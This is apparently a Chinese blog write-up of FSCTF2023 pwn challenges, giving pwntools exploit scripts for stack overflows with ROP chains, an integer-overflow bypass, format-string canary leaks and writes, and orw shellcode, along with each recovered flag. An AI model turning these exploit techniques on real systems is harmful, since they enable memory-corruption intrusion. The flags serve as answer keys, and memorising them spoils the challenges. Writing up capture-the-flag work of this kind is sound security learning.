FSCTF2023-pwn复现


nc

题目描述:

1
test your nc

nc连接

1
tac fla* >&2

最后flag为

1
NSSCTF{9d9d9ca5-11a3-4f7b-a477-cde9be449309}

rdi

题目描述:

1
normal rdi

查看一下保护机制

只打开了NX

ida载入,在gift函数存在system函数

main函数存在栈溢出

查看sys地址

ROPgadget搜索rdi地址

ROPgadget搜索sh地址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

io =remote('node4.anna.nssctf.cn',28553)
elf =ELF('./rdi')

rdi_addr =0x4007d3
ret_addr =0x400546
sys_addr =0x4006FB
bin_sh =0x40080d

payload=b'a'*(0x80 +8) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)

io.sendline(payload)
io.interactive()

运行得到

最后flag为

1
NSSCTF{3be7a9f0-56a8-44ad-bad8-0d4020faa06f}

2str

题目描述:

1
如何优雅的绕过

ida查看

整数溢出

unsigned int8 的大小是 0 ~ 255,payload构造长度超过255

后门地址

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.anna.nssctf.cn',28500)
#io=process('./strstr')
payload=b'a'*(0xb9+0x04)+p32(0x80492AF)
payload=payload.ljust(260,b'a') #整数绕过 int8(0~225) payload 不超过 265 超过255 就行
payload+=b'\x00' #strlen \x00 绕过
io.send(payload)
io.interactive()

运行得到

最后flag为

1
NSSCTF{7ebbc6be-0949-4029-afa8-bfb3a559c554}

stackmat

题目描述:

1
给后门稍微加个锁

查看保护机制

打开了canary和NX

ida查看

格式化字符串泄露Canary

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import sgtlibc
context(os='linux', arch='amd64', log_level='debug')

#p =process('./pwn')
p =remote('node4.anna.nssctf.cn',28396)
elf = ELF('./pwn')

backdoor =0x401229
ret_addr =0x40101a

payload =b'%11$p'
p.sendline(payload)
p.recvuntil(b'I kown you know\n')
canary = int(p.recv(18), 16)

payload =b'a'*(0x30 -8) +p64(canary) +p64(0) +p64(backdoor)

p.send(payload)
p.interactive()

运行得到

最后flag为

1
NSSCTF{656af166-8fa7-41d6-ab3f-7e57ab6b31b4}

Fi3h

题目描述:

1
新开了一家鱼店,老板开业大酬宾

查看保护机制

打开了NX和PIE地址随机化

ida查看main函数

orw pwn

计算偏移为0x80,溢出返回到bss段,写入orw,读取flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
else:
return process([binary] + argv, *a, **kw)

gdbscript = '''
b *$rebase(0x012B1)
continue
'''.format(**locals())

binary = './ss'
libelf = ''

if (binary!=''): elf = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)

#io = start(binary)
io = remote('node4.anna.nssctf.cn',28576)
ru('>>')
sl('3')
ru('seems to be ')
x = int(ru(' and'),16)
print(x)

ru('>>')
sl('5')
ru('omething:\n')
p = 136 * b'A'
p += p64(x)
pay = b'1.2.3.'
pay += p
sl(pay)
ru('k fantasy:')
sl(asm(shellcraft.cat('/flag')))





io.interactive()

运行得到

最后flag为

1
NSSCTF{04688619-a93e-4d7b-9fc2-1714b1238c8b}

What am I thinking?

题目描述:

1
运行一下我的脑子看看

nc连接

接收程序发来的 brain 代码,之后进行base64解密运行得到随机数

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
import base64
import os
io=remote("node4.anna.nssctf.cn",28690)

io.sendline(str(2))
io.recvuntil(b"My brain:\n")
data=io.recvuntil(b"\nTell",drop=True)#表示不包含\nTell这个字符串
de_data=base64.b64decode(data)
with open("data",'wb') as f:
f.write(de_data)
os.system("chmod 777 data")
p=process("./data")
p.recvuntil(b"THE NUMBER IS ")
num=p.recvuntil(b'\nCan',drop=True)
io.sendline(num)
io.interactive()

运行得到

最后flag为

1
NSSCTF{9e43a3cc-fb62-412b-af11-9e67bf63d898}

YS,START!

题目描述:

1
我 要 玩 □ □!

查看保护机制

格式化字符串

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

#p =process("./pwn1")
p =remote('node4.anna.nssctf.cn',28914)
elf =ELF('./pwn1')

p.sendline(p32(0x0804C044)+b"%15$hn"+b"%7$d")
ver =p.recvuntil(b",P", drop=True)[-6:]
p.sendline(b'y')
p.sendline(b"123")
p.sendline(b"asd")
p.sendlineafter(b"ver", ver)

p.interactive()

运行得到

最后flag为

1
NSSCTF{5de256ba-60ea-4d09-a4d7-448489c65bae}

文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录